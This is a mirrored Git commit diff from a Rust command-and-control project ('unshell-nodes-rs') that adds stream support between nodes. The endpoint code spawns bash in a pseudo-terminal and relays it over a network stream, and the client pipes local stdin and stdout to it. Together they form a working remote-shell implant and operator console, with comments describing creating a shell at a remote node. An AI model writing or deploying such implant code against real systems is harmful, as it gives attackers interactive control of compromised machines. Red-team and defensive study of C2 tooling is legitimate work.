mirror of
https://github.com/Astatin3/unshell-nodes-rs.git
synced 2026-06-08 16:18:08 -06:00
Work on,making streams
This commit is contained in:
Michael Mikovsky
+81
-39
@@ -1,8 +1,14 @@
|
||||
use std::time::Instant;
|
||||
use std::{
|
||||
io::{Read, Write, stdin, stdout},
|
||||
thread,
|
||||
};
|
||||
|
||||
use clap::{Parser, Subcommand};
|
||||
use portable_pty::{PtySize, native_pty_system};
|
||||
use unshell_rs_lib::{C2Packet, Error, nodes::NodeContainer};
|
||||
use unshell_rs_lib::{
|
||||
Error,
|
||||
networkers::Connection,
|
||||
nodes::{NodeContainer, Stream},
|
||||
};
|
||||
|
||||
use crate::client::cli::{Cli, CommandHolder};
|
||||
|
||||
@@ -17,8 +23,10 @@ pub enum NodeCliCommands {
|
||||
Nodes,
|
||||
/// Send a ping to a remote node
|
||||
Ping { n: usize },
|
||||
// /// Attempt to create a shell at a remote node
|
||||
// Sh { n: usize },
|
||||
/// Attempt to create a shell at a remote node
|
||||
Sh { n: usize },
|
||||
Stream { n: usize },
|
||||
}
|
||||
|
||||
impl Cli for NodeCli {
|
||||
@@ -40,46 +48,50 @@ impl Cli for NodeCli {
|
||||
info!("[{}] {}", i + 1, node);
|
||||
}
|
||||
}
|
||||
NodeCliCommands::Ping { n } => {
|
||||
NodeCliCommands::Ping { .. } => {
|
||||
// if split.count().clone() <= 1 {
|
||||
// warn!("You must specify an option");
|
||||
// continue;
|
||||
// }
|
||||
|
||||
if n <= 0 {
|
||||
warn!("Node id must be greater than zero");
|
||||
} else if n > node_ids.len() {
|
||||
warn!("Node id {} is out of maximum range {}", n, node_ids.len());
|
||||
} else {
|
||||
let start = Instant::now();
|
||||
let node = node_ids.get(n - 1).unwrap().clone();
|
||||
self.node.send_unrouted(&node, &C2Packet::Ping).unwrap();
|
||||
info!("Sent ping...");
|
||||
// if n <= 0 {
|
||||
// warn!("Node id must be greater than zero");
|
||||
// } else if n > node_ids.len() {
|
||||
// warn!("Node id {} is out of maximum range {}", n, node_ids.len());
|
||||
// } else {
|
||||
// let start = Instant::now();
|
||||
// let node = node_ids.get(n - 1).unwrap().clone();
|
||||
// self.node.send_unrouted(&node, &C2Packet::Ping).unwrap();
|
||||
// info!("Sent ping...");
|
||||
|
||||
let (_, packet) = self.node.read_packet()?;
|
||||
match packet {
|
||||
C2Packet::Pong => {
|
||||
// if src != nod
|
||||
info!(
|
||||
"Pong! Latency: {}ms",
|
||||
(start.elapsed().as_micros() as f32) / 1000.
|
||||
);
|
||||
}
|
||||
_ => {
|
||||
error!("Got incorrect packet: {:?}", packet);
|
||||
}
|
||||
}
|
||||
// let (_, packet) = self.node.read()?;
|
||||
// match packet {
|
||||
// C2Packet::Pong => {
|
||||
// // if src != nod
|
||||
// info!(
|
||||
// "Pong! Latency: {}ms",
|
||||
// (start.elapsed().as_micros() as f32) / 1000.
|
||||
// );
|
||||
// }
|
||||
// _ => {
|
||||
// error!("Got incorrect packet: {:?}", packet);
|
||||
// }
|
||||
// }
|
||||
|
||||
// node_state = self.node.state.lock().unwrap();
|
||||
}
|
||||
// // node_state = self.node.state.lock().unwrap();
|
||||
// }
|
||||
}
|
||||
NodeCliCommands::Sh { n } => {
|
||||
NodeCliCommands::Stream { n } => {
|
||||
if n <= 0 {
|
||||
warn!("Node id must be greater than zero");
|
||||
} else if n > node_ids.len() {
|
||||
warn!("Node id {} is out of maximum range {}", n, node_ids.len());
|
||||
} else {
|
||||
let node_id = node_ids.get(n - 1).unwrap().clone();
|
||||
|
||||
let stream = self.node.create_stream_block(node_id)?;
|
||||
|
||||
self.run_pty(stream)?;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -96,17 +108,47 @@ impl NodeCli {
|
||||
}
|
||||
}
|
||||
|
||||
pub fn run_pty(&mut self) -> Result<(), Error> {
|
||||
let pty_system = native_pty_system();
|
||||
let pty_pair = pty_system.openpty(PtySize {
|
||||
rows: 24,
|
||||
cols: 80,
|
||||
pixel_width: 0,
|
||||
pixel_height: 0,
|
||||
})?;
|
||||
pub fn run_pty(&mut self, mut stream: Stream) -> Result<(), Error> {
|
||||
let mut stream_clone = stream.try_clone()?;
|
||||
|
||||
// Thread to read from stdin and write to TCP stream
|
||||
let stdin_to_tcp = thread::spawn(move || {
|
||||
let mut stdin = stdin();
|
||||
let mut buffer = [0u8; 1024];
|
||||
loop {
|
||||
match stdin.read(&mut buffer) {
|
||||
Ok(0) => break, // EOF
|
||||
Ok(n) => {
|
||||
if stream.write(&buffer[..n]).is_err() {
|
||||
break;
|
||||
}
|
||||
}
|
||||
Err(e) => {
|
||||
error!("Error reading from stdin: {}", e);
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
// Thread to read from TCP stream and write to stdout
|
||||
let tcp_to_stdout = thread::spawn(move || {
|
||||
loop {
|
||||
let data = stream_clone.read().unwrap();
|
||||
if stdout().write_all(&data).is_err() {
|
||||
break;
|
||||
}
|
||||
stdout().flush().ok();
|
||||
}
|
||||
});
|
||||
|
||||
// Wait for either thread to finish
|
||||
let _ = stdin_to_tcp.join();
|
||||
let _ = tcp_to_stdout.join();
|
||||
|
||||
error!("Disconnected from server");
|
||||
|
||||
Ok(())
|
||||
|
||||
// pty_pair.Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
+87
-14
@@ -1,7 +1,9 @@
|
||||
use std::net::SocketAddr;
|
||||
use std::{net::SocketAddr, thread};
|
||||
|
||||
use portable_pty::{CommandBuilder, PtySize, native_pty_system};
|
||||
use unshell_rs_lib::{
|
||||
C2Packet, Error,
|
||||
Error,
|
||||
networkers::Connection,
|
||||
nodes::{ConnectionConfig, NodeContainer},
|
||||
};
|
||||
|
||||
@@ -15,18 +17,89 @@ pub fn run_endpoint(socket: SocketAddr) -> Result<(), Error> {
|
||||
}],
|
||||
)?;
|
||||
|
||||
loop {
|
||||
let (src, packet) = node.read_packet()?;
|
||||
match packet {
|
||||
C2Packet::Ping => {
|
||||
info!("Ping from {}!", src);
|
||||
node.send_unrouted(&src, &C2Packet::Pong)?;
|
||||
// (&mut node.state.lock().unwrap()).send_unrouted(src, &C2Packet::Pong)?;
|
||||
let mut stream = node.recv_stream()?;
|
||||
|
||||
let pty_system = native_pty_system();
|
||||
let pty_pair = pty_system.openpty(PtySize {
|
||||
rows: 24,
|
||||
cols: 80,
|
||||
pixel_width: 0,
|
||||
pixel_height: 0,
|
||||
})?;
|
||||
|
||||
let mut cmd = CommandBuilder::new("bash");
|
||||
cmd.env("TERM", "xterm-256color");
|
||||
// pty_pair.
|
||||
|
||||
let child = pty_pair.slave.spawn_command(cmd)?;
|
||||
|
||||
// Get the master PTY for reading/writing
|
||||
let master = pty_pair.master;
|
||||
|
||||
let mut master_reader = master.try_clone_reader()?;
|
||||
let mut master_writer = master.take_writer()?;
|
||||
|
||||
// Clone stream for bidirectional communication
|
||||
let mut stream_clone = stream.try_clone()?;
|
||||
|
||||
// Thread to read from PTY and write to TCP stream
|
||||
let pty_to_tcp = thread::spawn(move || {
|
||||
let mut buffer = [0u8; 1024];
|
||||
loop {
|
||||
match master_reader.read(&mut buffer) {
|
||||
Ok(0) => break, // EOF
|
||||
Ok(n) => {
|
||||
if stream.write(&buffer[..n]).is_err() {
|
||||
break;
|
||||
}
|
||||
// stream.flush().ok();
|
||||
}
|
||||
Err(e) => {
|
||||
error!("Error reading from PTY: {}", e);
|
||||
break;
|
||||
}
|
||||
}
|
||||
C2Packet::Pong => {
|
||||
info!("Pong!");
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
println!("stopped!");
|
||||
});
|
||||
|
||||
// Thread to read from TCP stream and write to PTY
|
||||
let tcp_to_pty = thread::spawn(move || {
|
||||
// let mut buffer = [0u8; 1024];
|
||||
loop {
|
||||
let data = stream_clone.read().unwrap();
|
||||
if master_writer.write(&data).is_err() {
|
||||
break;
|
||||
}
|
||||
}
|
||||
println!("stopped!");
|
||||
});
|
||||
|
||||
// Wait for either thread to finish
|
||||
let _ = pty_to_tcp.join();
|
||||
let _ = tcp_to_pty.join();
|
||||
|
||||
// Clean up the child process
|
||||
// let _ = child.kill();
|
||||
// let _ = child.wait();
|
||||
|
||||
Ok(())
|
||||
|
||||
// loop {
|
||||
// let data = stream.read()?;
|
||||
// println!("DATA: {:?}", data);
|
||||
|
||||
// let (src, packet) = node()?;
|
||||
// match packet {
|
||||
// C2Packet::Ping => {
|
||||
// info!("Ping from {}!", src);
|
||||
// // node.send_unrouted(&src, &C2Packet::Pong)?;
|
||||
// // (&mut node.state.lock().unwrap()).send_unrouted(src, &C2Packet::Pong)?;
|
||||
// }
|
||||
// C2Packet::Pong => {
|
||||
// info!("Pong!");
|
||||
// }
|
||||
// _ => {}
|
||||
// }
|
||||
// }
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user